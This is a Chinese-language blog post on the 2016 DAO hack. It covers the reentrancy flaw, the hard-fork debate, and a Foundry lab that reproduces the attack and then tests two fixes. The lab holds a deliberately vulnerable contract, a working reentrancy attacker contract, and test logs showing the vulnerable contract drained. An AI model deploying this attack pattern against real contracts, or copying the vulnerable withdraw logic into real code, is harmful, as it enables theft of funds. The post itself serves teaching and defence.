The DAO Hack 简介
- 时间:2016 年 6 月
- 事件:一个基于以太坊的“去中心化投资基金”——The DAO,被黑客利用智能合约漏洞攻击,导致 360 万 ETH(当时约 5000 万美元)被盗。
- 影响:直接导致以太坊社区分裂,产生了 ETH(Ethereum)与 ETC(Ethereum Classic) 两条链。
1. 背景
The DAO 是由 Slock.it 团队发起的一个智能合约,目标是让全球投资人通过 ETH 投资 DAO,然后社区投票决定投资哪些项目。
它的智能合约存放了 1150 万 ETH,约占当时以太坊流通量的 14%,是当时规模最大的智能合约资金池。
2. 技术漏洞
漏洞出在 提款逻辑(splitDAO
函数)中,存在一个典型的 重入漏洞(Reentrancy Bug):
❌ 错误的逻辑顺序:
function splitDAO(uint withdrawAmount) public {
if (balances[msg.sender] >= withdrawAmount) {
msg.sender.call.value(withdrawAmount)(); // 先转账(外部调用)
balances[msg.sender] -= withdrawAmount; // 再更新余额
}
}
- 攻击者可以在
msg.sender.call.value()
时 递归调用 splitDAO,在余额尚未减少之前反复提款。 - 结果就是:合约里的资金被反复转出,直到被耗尽。
✅ 正确的做法(Checks-Effects-Interactions 模式):
function withdraw(uint withdrawAmount) public {
require(balances[msg.sender] >= withdrawAmount);
balances[msg.sender] -= withdrawAmount; // 先更新余额
payable(msg.sender).transfer(withdrawAmount); // 最后转账
}
3. 攻击过程
- 黑客部署了一个恶意合约,利用 回调函数 在收到 ETH 时再次调用 The DAO 的提款函数。
- 这样在 The DAO 记录攻击者余额前,已经多次转出了资金。
- 攻击持续了数小时,最终窃取了 约 360 万 ETH。
不过资金暂时被锁在攻击者控制的“子 DAO”中,需要 28 天冷却期才能转走。
4. 社区反应
方案讨论:
- 不干预:认为区块链是不可篡改的,应尊重“代码即法律”。
- 软分叉:冻结被盗资金,阻止攻击者提现(后来发现可能带来拒绝服务攻击风险)。
- 硬分叉:在链上回滚到攻击前状态,把资金退还给投资者。
结果:
以太坊社区最终选择 硬分叉。
- Ethereum (ETH):采用硬分叉,追回资金。
- Ethereum Classic (ETC):拒绝硬分叉,保留原链,资金攻击者依旧持有。
这次分裂也确立了两条链的不同价值观:
- ETH:务实,优先保障用户资金安全。
- ETC:坚持“代码不可篡改”。
5. 影响与启示
- 这是 区块链历史上最著名的智能合约黑客事件。
- 直接推动了以下最佳实践的普及:
- Checks-Effects-Interactions 模式
- 使用 pull payment 代替 push payment
- ReentrancyGuard(重入锁)模式
- 也让整个行业认识到:
- 智能合约 = 代码即法律,但代码可能有 Bug
- 安全审计与形式化验证 在 DeFi 中至关重要
- 治理问题:区块链的“不可篡改”原则 vs 社区干预的现实需要
6. The DAO Hack 攻击复现实验
合约文件:VulnerableDAO.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title 漏洞版DAO合约 - 用于复现2016年DAO Hack
/// @notice 切勿在生产环境使用!
contract VulnerableDAO {
mapping(address => uint256) public balances;
/// @notice 存款
function deposit() external payable {
balances[msg.sender] += msg.value;
}
/// @notice 提款(存在重入漏洞)
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
// 漏洞:先转账,再更新余额
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
balances[msg.sender] = 0;
}
/// @notice 查看合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
攻击合约文件:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./VulnerableDAO.sol";
/// @title 攻击合约 - 模拟DAO Hack
contract Attacker {
VulnerableDAO public dao;
address public owner;
constructor(address _dao) {
dao = VulnerableDAO(_dao);
owner = msg.sender;
}
/// @notice 发起攻击
function attack() external payable {
require(msg.value >= 1 ether, "need at least 1 ETH");
dao.deposit{value: 1 ether}();
dao.withdraw();
}
/// @notice 接收ETH并重入
receive() external payable {
if (address(dao).balance >= 1 ether) {
dao.withdraw();
}
}
/// @notice 提取盗得资金
function withdrawStolenFunds() external {
require(msg.sender == owner, "not owner");
payable(owner).transfer(address(this).balance);
}
}
测试文件:DAOHack.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnerableDAO.sol";
import "../src/Attacker.sol";
/// @title DAO Hack 攻击复现测试
contract DAOHackTest is Test {
VulnerableDAO dao;
Attacker attacker;
address deployer = address(0xABCD);
function setUp() public {
vm.deal(deployer, 10 ether);
vm.startPrank(deployer);
dao = new VulnerableDAO();
// 初始资金注入DAO
dao.deposit{value: 5 ether}();
vm.stopPrank();
}
function testAttack() public {
// 给攻击者账户资金
vm.deal(address(0xBEEF), 10 ether);
// 以攻击者身份部署攻击合约
vm.startPrank(address(0xBEEF));
attacker = new Attacker(address(dao));
// 发动攻击(msg.value 从 0xBEEF 支付)
attacker.attack{value: 1 ether}();
vm.stopPrank();
emit log_named_uint("DAO Balance After", address(dao).balance);
emit log_named_uint(
"Attacker Balance After",
address(attacker).balance
);
assertEq(address(dao).balance, 0, "DAO should be drained");
}
}
测试结果:
➜ counter git:(main) ✗ forge test --match-path test/DAOHack.t.sol -vvv
[⠊] Compiling...
[⠒] Compiling 54 files with Solc 0.8.29
[⠘] Solc 0.8.29 finished in 1.54s
Compiler run successful!
Ran 1 test for test/DAOHack.t.sol:DAOHackTest
[PASS] testAttack() (gas: 487330)
Logs:
DAO Balance After: 0
Attacker Balance After: 6000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.38ms (486.01µs CPU time)
Ran 1 test suite in 455.20ms (1.38ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Checks-Effects-Interactions 模式修复
修复版 DAO 合约:SafeDAO.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title 安全版DAO合约 - 修复重入攻击漏洞
/// @notice 使用 Checks-Effects-Interactions 模式
contract SafeDAO {
mapping(address => uint256) public balances;
/// @notice 存款
function deposit() external payable {
balances[msg.sender] += msg.value;
}
/// @notice 提款(已修复重入漏洞)
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
// ✅ 先更新余额,再转账
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
}
/// @notice 查看合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Attacker.sol 无需修改,测试文件:DAOHackFix.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnerableDAO.sol";
import "../src/Attacker.sol";
import "../src/SafeDAO.sol";
/// @title DAO Hack 攻击复现测试
contract DAOHackTest is Test {
VulnerableDAO dao;
Attacker attacker;
SafeDAO safe;
address deployer = address(0xABCD);
address hacker = address(0xBEEF);
function setUp() public {
// 初始化两个DAO合约:一个有漏洞,一个修复了漏洞
vm.deal(deployer, 20 ether);
vm.startPrank(deployer);
dao = new VulnerableDAO();
safe = new SafeDAO();
// 给两个DAO注入资金(5 ETH)
dao.deposit{value: 5 ether}();
safe.deposit{value: 5 ether}();
vm.stopPrank();
}
function testAttack() public {
// 给攻击者账户资金
vm.deal(address(0xBEEF), 10 ether);
// 以攻击者身份部署攻击合约
vm.startPrank(address(0xBEEF));
attacker = new Attacker(address(dao));
// 发动攻击(msg.value 从 0xBEEF 支付)
attacker.attack{value: 1 ether}();
vm.stopPrank();
emit log_named_uint("DAO Balance After", address(dao).balance);
emit log_named_uint(
"Attacker Balance After",
address(attacker).balance
);
assertEq(address(dao).balance, 0, "DAO should be drained");
}
function test_Revert_When_AttackSafeDAO() public {
attacker = new Attacker(address(safe));
vm.deal(hacker, 1 ether);
// 攻击前余额
emit log_named_uint("Safe DAO Balance Before", address(safe).balance);
// 尝试攻击修复版合约
vm.prank(hacker);
vm.expectRevert();
attacker.attack{value: 1 ether}();
// ✅ 攻击失败:DAO 余额仍然存在
emit log_named_uint("Safe DAO Balance After", address(safe).balance);
emit log_named_uint("Attacker Balance After", address(attacker).balance);
assertEq(address(safe).balance, 5 ether, "DAO should be safe");
}
}
执行测试:
➜ counter git:(main) ✗ forge test --match-path test/DAOHack.t.sol -vvv
[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.29
[⠃] Solc 0.8.29 finished in 1.71s
Compiler run successful!
Ran 2 tests for test/DAOHack.t.sol:DAOHackTest
[PASS] testAttack() (gas: 487264)
Logs:
DAO Balance After: 0
Attacker Balance After: 6000000000000000000
[PASS] test_Revert_When_AttackSafeDAO() (gas: 470861)
Logs:
Safe DAO Balance Before: 5000000000000000000
Safe DAO Balance After: 5000000000000000000
Attacker Balance After: 0
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.63ms (707.79µs CPU time)
Ran 1 test suite in 476.50ms (1.63ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
使用 ReentrancyGuard 的 DAO 合约
使用 ReentrancyGuard 的 DAO 合约:GuardedDAO.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
/// @title 带重入锁的DAO合约
/// @notice 使用 OpenZeppelin ReentrancyGuard 防御重入攻击
contract GuardedDAO is ReentrancyGuard {
mapping(address => uint256) public balances;
/// @notice 存款
function deposit() external payable {
balances[msg.sender] += msg.value;
}
/// @notice 提款(带 nonReentrant 修饰器)
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
// ✅ 这里即使写成“先转账后更新”,也不会被重入攻击
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
balances[msg.sender] = 0;
}
/// @notice 查看合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Attacker.sol 无需修改,测试文件:DAOHack.t.sol 新增以下内容
function test_Revert_When_AttackGuardedDAO() public {
GuardedDAO guarded = new GuardedDAO();
guarded.deposit{value: 5 ether}();
attacker = new Attacker(address(guarded));
vm.deal(hacker, 1 ether);
// 攻击前余额
emit log_named_uint("Guarded DAO Balance Before", address(guarded).balance);
// 尝试攻击修复版合约
vm.prank(hacker);
vm.expectRevert();
attacker.attack{value: 1 ether}();
// ✅ 攻击失败:DAO 余额仍然存在
emit log_named_uint("Guarded DAO Balance After", address(guarded).balance);
emit log_named_uint("Attacker Balance After", address(attacker).balance);
assertEq(address(guarded).balance, 5 ether, "DAO should be safe");
}
执行测试:
...
[PASS] test_Revert_When_AttackGuardedDAO() (gas: 475365)
Logs:
Guarded DAO Balance Before: 5000000000000000000
Guarded DAO Balance After: 5000000000000000000
Attacker Balance After: 0
...

声明:本作品采用署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)进行许可,使用时请注明出处。
Author: mengbin
blog: mengbin
Github: mengbin92
腾讯云开发者社区:孟斯特
—